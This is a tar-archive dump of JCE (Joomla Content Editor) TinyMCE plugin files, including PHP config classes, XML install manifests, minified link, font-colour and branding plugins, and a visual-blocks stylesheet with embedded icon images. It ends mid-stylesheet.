            'attributes' => array(
                'target' => $this->getParam('attributes_target', 1),
                'anchor' => $this->getParam('attributes_anchor', 1),
            ),
        );

        return parent::getSettings($settings);
    }
}
editor/tiny_mce/plugins/link/classes/index.html000060400000000054150750527140015712 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/link/classes/config.php000060400000001305150750527140015673 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFLinkPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        // expose globally for use by Autolink and Clipboard
        $settings['default_link_target'] = $wf->getParam('link.target', '');
    }
}
editor/tiny_mce/plugins/link/index.html000060400000000054150750527140014255 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/link/link.xml000060400000014025150750527140013742 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="link" core="1" editable="1">
    <name>WF_LINK_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LINK_DESC</description>
    <icon>link</icon>
    <layout>link</layout>
    <files></files>
    <params group="defaults">
        <param name="target" type="list" default="" label="WF_LABEL_TARGET" description="WF_LINK_PARAM_DEFAULT_TARGET_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="_self">WF_OPTION_TARGET_SELF</option>
            <option value="_blank">WF_OPTION_TARGET_BLANK</option>
            <option value="_parent">WF_OPTION_TARGET_PARENT</option>
            <option value="_top">WF_OPTION_TARGET_TOP</option>	
        </param>
                
        <param type="text" name="id" default="" size="50" label="WF_LABEL_ID" description="WF_LABEL_ID_DESC" />
        <param type="text" name="style" default="" size="50" label="WF_LABEL_STYLE" description="WF_LABEL_STYLE_DESC" />
        <param type="text" name="classes" default="" size="50" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />
        <param type="list" name="direction" default="" label="WF_LABEL_DIR" description="WF_LABEL_DIR_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="ltr">WF_OPTION_LTR</option>
            <option value="rtl">WF_OPTION_RTL</option>
        </param>
        <param type="text" name="hreflang" default="" size="50" label="WF_LABEL_HREFLANG" description="WF_LABEL_HREFLANG_DESC" />
        <param type="text" name="lang" default="" size="50" label="WF_LABEL_LANG" description="WF_LABEL_LANG_DESC" />
        <param type="text" name="charset" default="" size="50" label="WF_LABEL_CHARSET" description="WF_LABEL_CHARSET_DESC" />
        <param type="text" name="type" default="" size="50" label="WF_LABEL_MIME_TYPE" description="WF_LABEL_MIME_TYPE_DESC" />
        <param type="list" name="rel" default="" class="editable" label="WF_LABEL_REL" description="WF_LABEL_REL_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="nofollow">No Follow</option>
            <option value="alternate">Alternate</option>
            <option value="designates">Designates</option>
            <option value="stylesheet">Stylesheet</option>
            <option value="start">Start</option>
            <option value="next">Next</option>
            <option value="prev">Prev</option>
            <option value="contents">Contents</option>
            <option value="index">Index</option>
            <option value="glossary">Glossary</option>
            <option value="copyright">Copyright</option>
            <option value="chapter">Chapter</option>
            <option value="subsection">Subsection</option>
            <option value="appendix">Appendix</option>
            <option value="help">Help</option>
            <option value="bookmark">Bookmark</option>
        </param>
        <param type="list" name="rev" default="" label="WF_LABEL_REV" description="WF_LABEL_REV_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="alternate">Alternate</option>
            <option value="designates">Designates</option>
            <option value="stylesheet">Stylesheet</option>
            <option value="start">Start</option>
            <option value="next">Next</option>
            <option value="prev">Prev</option>
            <option value="contents">Contents</option>
            <option value="index">Index</option>
            <option value="glossary">Glossary</option>
            <option value="copyright">Copyright</option>
            <option value="chapter">Chapter</option>
            <option value="subsection">Subsection</option>
            <option value="appendix">Appendix</option>
            <option value="help">Help</option>
            <option value="bookmark">Bookmark</option>
        </param>
        <param type="text" name="tabindex" default="" size="50" label="WF_LABEL_TABINDEX" description="WF_LABEL_TABINDEX_DESC" />
        <param type="text" name="accesskey" default="" size="50" label="WF_LABEL_ACCESSKEY" description="WF_LABEL_ACCESSKEY_DESC" />		
    </params>
    <params group="access">
        <param name="file_browser" type="radio" default="1" label="WF_LINK_PARAM_FILE_BROWSER" description="WF_LINK_PARAM_FILE_BROWSER_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>	
        </param>
        <param name="tabs_advanced" type="radio" default="1" label="WF_LINK_PARAM_TAB_ADVANCED" description="WF_LINK_PARAM_TAB_ADVANCED_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>	
        </param>
        <param name="attributes_anchor" type="radio" default="1" label="WF_LINK_SHOW_ANCHOR" description="WF_LINK_SHOW_ANCHOR_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="attributes_target" type="radio" default="1" label="WF_LINK_SHOW_TARGET" description="WF_LINK_SHOW_TARGET_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <extensions>links,popups,search</extensions>
    <languages></languages>
    <help>
        <topic key="link.about" title="WF_LINK_HELP_ABOUT" />
        <topic key="link.interface" title="WF_LINK_HELP_INTERFACE" />
        <!--topic key="link.content" title="WF_LINK_HELP_LINKS" /-->
        <topic key="link.advanced" title="WF_LINK_HELP_ADVANCED" />
        <topic key="link.insert" title="WF_LINK_HELP_INSERT" />
        <topic key="link.email" title="WF_LINK_HELP_EMAIL" />
    </help>
</install>editor/tiny_mce/plugins/link/link.php000060400000001111150750527140013721 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/link.php';

$plugin = new WFLinkPlugin();
$plugin->execute();
editor/tiny_mce/plugins/link/editor_plugin.js000060400000003214150750527140015463 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.each,tinymce.extend,tinymce.util.JSON,tinymce.html.Node;tinymce.create("tinymce.plugins.LinkPlugin",{init:function(ed,url){function isLink(n){return!!n&&(n=ed.dom.getParent(n,"A"),n&&isAnchor(n)===!1)}function isAnchor(n){return ed.dom.hasClass(n,"mce-item-anchor")}this.editor=ed,this.url=url;ed.addCommand("mceLink",function(){var se=ed.selection,n=se.getNode();"A"!=n.nodeName||isAnchor(n)||se.select(n),ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=link",width:540+ed.getLang("link.delta_width",0),height:560+ed.getLang("link.delta_height",0),inline:1,popup_css:!1},{plugin_url:url})}),ed.addButton("link",{title:"link.desc",cmd:"mceLink"}),ed.addShortcut("ctrl+k","link.desc","mceLink"),ed.onInit.add(function(){ed&&ed.plugins.contextmenu&&ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){m.addSeparator(),m.add({title:"link.desc",icon:"link",cmd:"mceLink",ui:!0}),"A"!=e.nodeName||ed.dom.getAttrib(e,"name")||m.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"})})}),ed.onNodeChange.add(function(ed,cm,n,co){cm.setActive("link",isLink(n)),cm.setDisabled("link",isAnchor(n))})},getInfo:function(){return{longname:"Link",author:"Moxiecode Systems AB / Ryan Demmer",authorurl:"http://tinymce.moxiecode.com / http://www.joomlacontenteditor.net",infourl:"http://www.joomlacontenteditor.net",version:"@@version@@"}}}),tinymce.PluginManager.add("link",tinymce.plugins.LinkPlugin)}();editor/tiny_mce/plugins/fontcolor/fontcolor.xml000060400000002531150750527150016062 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="fontcolor" core="1" editable="1">
    <name>WF_FONTCOLOR_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FONTCOLOR_DESC</description>
    <icon>forecolor,backcolor</icon>
    <params group="standard">
        <param name="foreground_color" type="text" class="color" size="10" default="#000000" label="WF_FORECOLOR_TITLE" description="WF_FONTCOLOR_DESC"/>
        <param name="background_color" type="text" class="color" size="10" default="#000000" label="WF_BACKCOLOR_TITLE" description="WF_BACKCOLOR_DESC"/>
    </params>
    <params group="buttons">
        <param name="buttons" class="checklist buttonlist" type="list" multiple="multiple" default="forecolor,backcolor" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
            <option value="forecolor">WF_FORECOLOR_TITLE</option>
            <option value="backcolor">WF_BACKCOLOR_TITLE</option>
        </param>
    </params>
    <help></help>
    <languages></languages>
</install>editor/tiny_mce/plugins/fontcolor/index.html000060400000000054150750527150015326 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/fontcolor/editor_plugin.js000060400000004312150750527150016534 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=(tinymce.DOM,tinymce.dom.Event,tinymce.extend,tinymce.each);tinymce.explode;tinymce.create("tinymce.plugins.FontColorPlugin",{init:function(ed,url){this.editor=ed,ed.onNodeChange.add(function(ed,cm,n,collapsed,o){function updateColor(controlId,color){(c=cm.get(controlId))&&(color||(color=c.settings.default_color),color!==c.value&&c.displayColor(color))}var c,fc,bc;ed.settings;each(o.parents,function(n){if(n.style&&(n.style.color&&(updateColor("forecolor",n.style.color),fc=!0),n.style.backgroundColor&&(updateColor("backcolor",n.style.backgroundColor),bc=!0),fc&&bc))return!1})})},createControl:function(n,cf){return"forecolor"===n?this._createForeColorMenu():"backcolor"===n?this._createBackColorMenu():void 0},_createForeColorMenu:function(){var c,v,self=this,ed=self.editor,s=ed.settings,o={};return o.more_colors_func=function(){ed.execCommand("mceColorPicker",!1,{color:c.value,func:function(co){c.setColor(co)}})},v=s.fontcolor_text_colors||s.theme_advanced_text_colors||"",v&&(o.colors=v),o.default_color=s.fontcolor_foreground_color||"#000000",o.title="advanced.forecolor_desc",o.onselect=o.onclick=function(v){return v?(ed.formatter.apply("forecolor",{value:v}),ed.undoManager.add(),void ed.nodeChanged()):ed.formatter.remove("forecolor")},o.scope=this,c=ed.controlManager.createColorSplitButton("forecolor",o)},_createBackColorMenu:function(){var c,v,self=this,ed=self.editor,s=ed.settings,o={};return o.more_colors_func=function(){ed.execCommand("mceColorPicker",!1,{color:c.value,func:function(co){c.setColor(co)}})},v=s.fontcolor_background_colors||s.theme_advanced_background_colors||"",v&&(o.colors=v),o.default_color=s.fontcolor_background_color||"#FFFF00",o.title="advanced.backcolor_desc",o.onselect=o.onclick=function(v){return v?(ed.formatter.apply("hilitecolor",{value:v}),ed.undoManager.add(),void ed.nodeChanged()):ed.formatter.remove("hilitecolor")},o.scope=this,c=ed.controlManager.createColorSplitButton("backcolor",o)}}),tinymce.PluginManager.add("fontcolor",tinymce.plugins.FontColorPlugin)}();editor/tiny_mce/plugins/fontcolor/classes/index.html000060400000000054150750527150016763 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/fontcolor/classes/config.php000060400000001406150750527150016746 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFFontcolorPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $settings['fontcolor_foreground_color'] = $wf->getParam('fontcolor.foreground_color', '');
        $settings['fontcolor_background_color'] = $wf->getParam('fontcolor.background_color', '');
    }
}
editor/tiny_mce/plugins/branding/editor_plugin.js000060400000001763150750527150016322 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM;tinymce.create("tinymce.plugins.BrandingPlugin",{init:function(ed,url){ed.onPostRender.add(function(){var container=ed.getContentAreaContainer();DOM.insertAfter(DOM.create("div",{class:"mceBranding"},'Powered by JCE Core. <span id="mceBrandingMessage"></span><a href="https://www.joomlacontenteditor.net/purchase" target="_blank" title="Get JCE Pro">JCE Pro</a>'),container)}),ed.onNodeChange.add(function(ed,cm,n,co){var container=ed.getContentAreaContainer(),msg="Get more features with ";"IMG"===n.nodeName&&(msg="Image resizing, thumbnails and editing in "),ed.dom.is(n,".mce-item-media")&&(msg="Upload and manage audio and video with "),DOM.setHTML(DOM.get("mceBrandingMessage",container),msg)})}}),tinymce.PluginManager.add("branding",tinymce.plugins.BrandingPlugin)}();editor/tiny_mce/plugins/branding/index.html000060400000000054150750527150015105 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/visualblocks/css/content.css000060400000033254150750527150017011 0ustar00.mceVisualBlocks address,.mceVisualBlocks article,.mceVisualBlocks aside,.mceVisualBlocks blockquote,.mceVisualBlocks dd,.mceVisualBlocks div:not(.mce-resizehandle):not(.mce-resize-helper),.mceVisualBlocks dl,.mceVisualBlocks dt,.mceVisualBlocks figure,.mceVisualBlocks footer,.mceVisualBlocks h1,.mceVisualBlocks h2,.mceVisualBlocks h3,.mceVisualBlocks h4,.mceVisualBlocks h5,.mceVisualBlocks h6,.mceVisualBlocks header,.mceVisualBlocks nav,.mceVisualBlocks ol,.mceVisualBlocks p,.mceVisualBlocks pre,.mceVisualBlocks section,.mceVisualBlocks ul{margin:2px 0;border:1px dashed #BBB;box-sizing:border-box;padding:2px}.mceVisualBlocks address:before,.mceVisualBlocks article:before,.mceVisualBlocks aside:before,.mceVisualBlocks blockquote:before,.mceVisualBlocks dd:before,.mceVisualBlocks div:not(.mce-resizehandle):not(.mce-resize-helper):before,.mceVisualBlocks dl:before,.mceVisualBlocks dt:before,.mceVisualBlocks figure:before,.mceVisualBlocks footer:before,.mceVisualBlocks h1:before,.mceVisualBlocks h2:before,.mceVisualBlocks h3:before,.mceVisualBlocks h4:before,.mceVisualBlocks h5:before,.mceVisualBlocks h6:before,.mceVisualBlocks header:before,.mceVisualBlocks nav:before,.mceVisualBlocks ol:before,.mceVisualBlocks p:before,.mceVisualBlocks pre:before,.mceVisualBlocks section:before,.mceVisualBlocks ul:before{background:2px 2px no-repeat;padding:10px 0 2px;display:block;content:""}.mceVisualBlocks figcaption{border:1px dashed #BBB;padding:5px;margin:2px 0}.mceVisualBlocks dd,.mceVisualBlocks dt{margin-bottom:2px}.mceVisualBlocks ol,.mceVisualBlocks ul{padding:5px 40px}.mceVisualBlocks ol:before,.mceVisualBlocks ul:before{margin:-2px 0 0 -38px}.mceVisualBlocks p:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAcAAAAOCAYAAADjXQYbAAAAZklEQVQYld3NoQ3CABgF4a8NAyBbh2IGdsGxAuYf4S3BLgyAwzACCQmprANRSJqyASfvxDVJDjiZGHHGvqqe7Ufeq6pBjw2O8I2gqgZcsP2JSdbY4TqPXZIXHrghsJo9ewvapfhT3istF21fTQndAAAAAElFTkSuQmCC)}.mceVisualBlocks h1:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAjElEQVQoke2PIQoCARBFn2KwC6LBK9m8gMFosfxiFN8B7HaD4IFsJhWTebUssmxYN5l8MAzM58+f6ahzYJNkDKAugHWSidoHtsASmCU5UtKlmSlwBu51odGY5JBkBxR1rVf2kfqqzC9fLvkkXoFBWatvpmpikeQBoD7bGBt/VBfqDRgCe/XUZumfn/MGnScmqqAQb00AAAAASUVORK5CYII=)}.mceVisualBlocks h2:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAArUlEQVQoke3QLU6DYRAE4KcNogJVEFRwCdAkcIYmKFQFqa9Zg4NkLoGgHIB7cAMSJAqBquTPfF/ypqKVNZ1kM8nOzv4NkszwUFUTSHKLu6o6TXKMF5zhFdOq+oKhzZh3PMEYs17YaKyq+6q6wAojfPfaQccnSf4az8dajyccYrk+8RNHXSxaR5JHXOKqv6+d+Nsnk6wa0w2ucY73tuG250y7Fd/wk+R5S/0eu8E/Jy8tqqgR/wAAAAAASUVORK5CYII=)}.mceVisualBlocks h3:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAArElEQVQoke3PPUpDYRSE4UexU0RQIQoB15CdZAfGwtbC5qRIJcJkFS7AxkVYajahWKSwsrCQaHM/CBdMbeHAgfPD8M7ZSnKB26o6gSSXmFXVMMkA9xjhCeOqeodtm3WFTxzjDOftsLPJVVXTLsUBVnjrGwdJvtc8r61JMsIzHvHQ9i3qEoddXfeoC+ziCzd94qo9neRjjXaHI0y6qPt94m+a4xQv2Ovmf/09/QBLki4RYIojfQAAAABJRU5ErkJggg==)}.mceVisualBlocks h4:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAmElEQVQoke2OLQpCYRBFD2KyahCDa7AZ7AaXYXADljGJWA6IC3BBLkQUBMNL2sRn+R58PPyJFg8Mw9yZy1zUqXomoc7UIxnqWi3VfqU1+ILaASZ1/asRWAC7uthMvauWmX5K33rAGFjVzdXHC9BONc/2S2AL3N9FfUREEREFcM32A2ADHNK8r0d9SUQMU+QWcANGn+7//IwnZN4qE79KM9QAAAAASUVORK5CYII=)}.mceVisualBlocks h5:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAtUlEQVQoke3PoUqDARSG4cfhBYhpBrt6CTavwCwYxCCYxtpnMApHTF7BmlcgCOZh2EUYxmAgOIaY1eA/+FlwNotvOQe+74Vz1qrqFFdJtqCqznCZZLuqjjHA3De9JHew7mc2MExysBz8RtypqleMcZhk3Ba7VfXZEibNfMQz7vGAC5y3xRfsNvsJ+pBkhBFU1RP2lk/9SDJrCu+LsKpumvIR9jFcZJ0VP95iE1O84XpF/5+/4QsU+DI2wGC4RQAAAABJRU5ErkJggg==)}.mceVisualBlocks h6:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAAtUlEQVQoke3PMSvFcRTG8Q/pTiZKDAYp78FsIimr0WCX5VmM6pTZe/AirDaTzEpZGO4g3WTA8vvXL+UaLZ46nc55zvd0zkxVHeIsyQpU1RFOk6y2+gIHuMV2kgnMmqKq2sUe1jHCzuDNTQOxhaskY2z2xgAuV9Vn139seQkbVfWAd+wnuetPfcZii5NuwQvesIZ7HA/GAH4kGbeTXjvwGgvtvxEm38GfdIkbPGEe57/M/+tv9AXQQy5copYZSQAAAABJRU5ErkJggg==)}.mceVisualBlocks div:not(.mce-resizehandle):not(.mce-resize-helper):before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAOCAYAAADABlfOAAAA4UlEQVQ4je3QoUrDURTH8c+G+ASGaRST+AQqIgjTZzBajQYPGIdwwGj2BXQz+BBaRLSKQYZBDKYFw0DD/sj258qaad9yufd8+Z1zTyMzD3BhxBtucBwRg6p2GhGLmXmH24g4gsw8w3pEbKjRrM73iGhgB5s4r4u4wt7YvY1ewfsNBRHxjA72M7NZc7tYzcylzGxhDddTQyv6mMdCrWEf99WEbTxGxGspdK7wtoIvfBZqPexiaLSOIhOTZuYyTnAZEcOC38U2tvzx9fHQVmZ+4wkPOCzJEfGCDwyq/c+Y8R/8AO3PQbd8AECPAAAAAElFTkSuQmCC)}.mceVisualBlocks section:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAAAOCAYAAACGsPRkAAAByElEQVRIie3UPUiWURQH8F/x0tDcoISC4VCtDUFDSURblCXWEH1IEgXSJJ4QEg3hVEtLFEFfEn1ISNDHEC5tQkPQ0CQRWSkREQ3hENbwPMLbi9hbS8v7hwPPuc/5n3P+9557V2TmKtzADlTwDIdxENf8joGIOJ+Ze3EW6zBdrj/NzFk01XCO4wdGI6IZMnMnzqG95PdHxGRm9pQ190XERGZux62IaLEMKjiADrRhNV6UgmBusfAiMnMj7uMoHqILFzJzsqrJWQxGxPXS76nit+MR+jCOI3iSmRvKkHkMY2K5xmtFzGMNDuFxRLTVFq5BF15FxO3Sv1lavejG64i4WvoXM/OEYjPnMIXWzOzG53pFPMB6DOByZk5hf/m/KTN/VsVvQjPe/0XTtVi7BP8dWhQiKEZ1CKfqSViJiAWMYKTqqPvx0tLjNIMt/6oAM9has9aK51X+GAbRWU/CSmaewTbsxkd8xfdlOOMYzsxjilPcozjFzRHxrY6a90r+SdxRPCCt5XcHRMRCZo7iEr78KeFKXFHciw+lfVK8HJTjVGV3I2K6FNyHWZzGUJ0CRMRb7EJvWa8XnRHxpiZ0TLGpDTTQQAMN/D/8AjQhpaHL+nFlAAAAAElFTkSuQmCC)}.mceVisualBlocks article:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAAAOCAYAAACGsPRkAAABkUlEQVRIie3UvWtUQRjF4UdZg51tYplSSwvB2kJEUOIXFhaKINgq5KCIaBBf/KhCsBDFQkGDBisREf8EC4tUIYWKEUurFBIt9q7eBGN2xXJ/MHDv3DPnPe9lZjZpqKrnmMDOJPPN3GncbyQr+IDzSeaqagmjVnMW33E9yVjjMYEpjGMBk0leNt6/dK0c7Zo9JpPctA6dZuFW7MNbHMG1luZLkrGq2oyLuIu5VsglXEryoBWiF2gHnuIUXjTet6rqzXqB2jU30KxuAvuxiBlcWdMESLJSVVuw3K+5buj3SR417w+boaoGsPk7vSYO6/6pV3hcVeNJFptvo1X1o3n+jOMD+I/h0z/kateEXUnerSfuVNUIDmAEF3Qbm8DtRtPbTsdwD/MDhPmIPYOkb9fsV9zBXiwn2QZVdQ4n/W4CJJmtqilMNqMfZnG1qs7gGQ41a3f3G7AfOjiK9kF7jemq2v4H/Q3MVNWdJF83Mk+yUFUHm3XTurfb5STfmjOxdtv0mls7/yTJib67GjJkyJAh/4ufxWqSZE3ihBoAAAAASUVORK5CYII=)}.mceVisualBlocks header:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAOCAYAAABZ/o57AAABdklEQVRIie3TMWtUURDF8Z9Bg+ktVLAJIoiN4FewELGKomClFjYWIgoeFBtFHESrECzEUpCIIlai4kewTGGRIgQJQVJtkUKixb6Nz+Wt2c5m/9Vl7syZc+/cu6uqruBhkgNQVVdxL8mhZu+Fv7md5HGT+wZzOJZkqYm1a1bxvqnpjdLDj1Z8Cyu4meTtIGm3nVkbHKJNVe3FKXzBOdwfrqmqI3iNeVwepdccYFAzhTt4hm2jU2MYHcVpLGMBZ7sSknzDA1xsDOxIki3swWY7PrjR/VX1qxVfba2H904k+dqYe4cPeFlVs0mWO3qvYBr7Rul1xL/jQpfRdRxt1pdwo5XTNappnGkM3Gp05vCkw+hh/dvZ+IfecX9Gfx7PsdTOGYxjK8lGkg30OpoNcxKbSWaSzOC6jvFX1SzuYjHJzzF0JVnEmv4n22aczzQ8qlf6N/S5FfuI+ao6OFTT038e13bQ+zTU8xEWquppkvUxPE6YMGHC/+I3HFeXHMN8J9AAAAAASUVORK5CYII=)}.mceVisualBlocks footer:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAOCAYAAABZ/o57AAABR0lEQVRIie2TMS8EcRDFfy7UWiJU14hGolfqFJqjUMg1QqISuRcqkfBEJBqREMrL5QqNqGh8iatE5AgiPoBCjmL3OJv9L9Fo9tdsZt5k5u3OTpftMnDMd0YkNWxPANtAEbgGViRdAoQ0249AX6LfPPCWMqcCvHTkW0ATWJZ02lnYHT+fJPV3CraLwBmwBNSBOeDc9jBQCGntPrHhNUkncVwOzPnM2y4Aq8ABkGo0jRLQkHQYx3u2F4CZOA5pmxk9M5HUst0DvCa1ttE+2+8d+V5gALhP1DeBQaIVhbQsknPGUvIPwHTIaNpK7oDxRP0QcEX0v4W0LNLmjPK1+hJwBDRCRtOoAeu2F4EqMBubqRJ90ZD2ZyTVbW8QHVnlV0Yl3dqeJLrsHaLLnpJ0A5ClZZBcfQ24SNRsAfu2dyU9//h2OTk5Of/LBzjElhAaF4hmAAAAAElFTkSuQmCC)}.mceVisualBlocks nav:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAOCAYAAADABlfOAAABD0lEQVQ4je3Qv0vWcRTF8ZcSD/ovBDo4uOTsUCASphIt/qg5+gcabDhbVAQXotGxodZ8xFEiHNXBwakhIsTBIWxrcJKWzwNfH1zdfG/3XM7lnDtSVS/wCWtJtqvqIT4nmdCoqj5WcS/Jj6YdYD/JRps/4H6SB6PNd4E3rqGqxrCMPax3Vl+bPmARfbjThENMVtUznA/dfYzf2MRrvG36Fj5W1V1cYgbbMNoxv2umrgZr2MEupqtqCpKc4qglXMRxkpPho1/Qw0qneg9P8Ap/W7PVjqePJTxq73DlaJJLvMfzjmkBF0nGk4zjZUs+YAvzmBtUH046SHvWmZ/ie2f+htn2R0l+4Q/+Jfnplltuhv/bvVAjNnU+vAAAAABJRU5ErkJggg==)}.mceVisualBlocks blockquote:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEYAAAAOCAYAAACSJWqFAAACcklEQVRIie2VX2hPcRjGP9Mu1oor1oQpLWvXykqRCykX8ifGRtiyRC1ZaY+W1tL04Mad0ERp/kQpsdRS/lxRGkmLkYY2LlywNtYyF+d7cjrt9/vNyFz8njqd875v73Oe9znf7/cU2K4HOoBvROgF6iT1hFq7pLmkYHs1cAwoB/qAg5K6Q20jcARYFGrNkm4n+WwXAl2Bbo2ksRTny8B513YT0CCpMvBXAx2SZmbTYnsAKE1J3wOMhZmTaJZ0PA4Kw30wiC0CrgMtwOa0GQlTyoGbQCNwFdgF3LJdCRQBV4A64AawCThhuztFcxaYDSwPpmTirMikI5eW+IMGg1oknQtxfTxzJt7CVPwj5AaziQGqgReSzoT4pO29wNbQ/0zSxVA7Hy5sx8O0ASuBKklDCc7eCThrgdEpajmaY46MiI0psf01xMNAa46+ecD7VK4fWBCe07UkSoAm4DO/ti+ht38CzoXAqz/QkgmltscT8RJJT+IgNuZTYtnVA12252QhfQesSOXKgHtEq25Zlt4hoAK4A5wGakJ+YIK++cADIgOLEvniwJNLSzb81laKc8XAjCykl4E22/uATmB7ENMZ+tps7wauAeuBZqAq9A5LGrS9DXhsu1ZSJ9H50Gp7R4JzccjPAspsrwJ6gJ3Aw0lomTLi4Uttj9geITp4GySNJmrjiWuppLfAWqAB+BDuGyS9kdQHrCM6DAeAQ0CrpC/JF0t6DhwGTtkuk9QLbAm570A7UCOpV9KjYO4F4DXRamkMPBm15Jg9PdelZLFgcv79W9h+CtwHDkgamw4N2bbLdGI/0W/+o+3/VWMeeeSRRx5/Gz8ByM0dBZib21IAAAAASUVORK5CYII=)}.mceVisualBlocks pre:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAAAOCAYAAADABlfOAAAA1ElEQVQ4je3PIU5DURCF4Y/m4ZGwATaAYRkoCAHFFio6wSKYkCAJgqBqCKIaiatpkHU1CIJEIkhBcAs3L5SC75/cZObcM5M5K5l5hGufvOIeB9ip9Cke0Y2IQWtmRi8izqApwnNEbGTmGoboYlLpHRzjEoN6xg906iYiXjDCZkufYrUkWUhTN+XSbfSLtJ6Z76V+wl5lr/9gKyIe6qUzwxvukDj0HX8XVxhXS+bGb+YZMvOrjojbzDxBr7xfaRYZKk5xkZnnpW/Hv4mI/X/sW7Lkr3wAwjZOjJg//mYAAAAASUVORK5CYII=)}.mceVisualBlocks 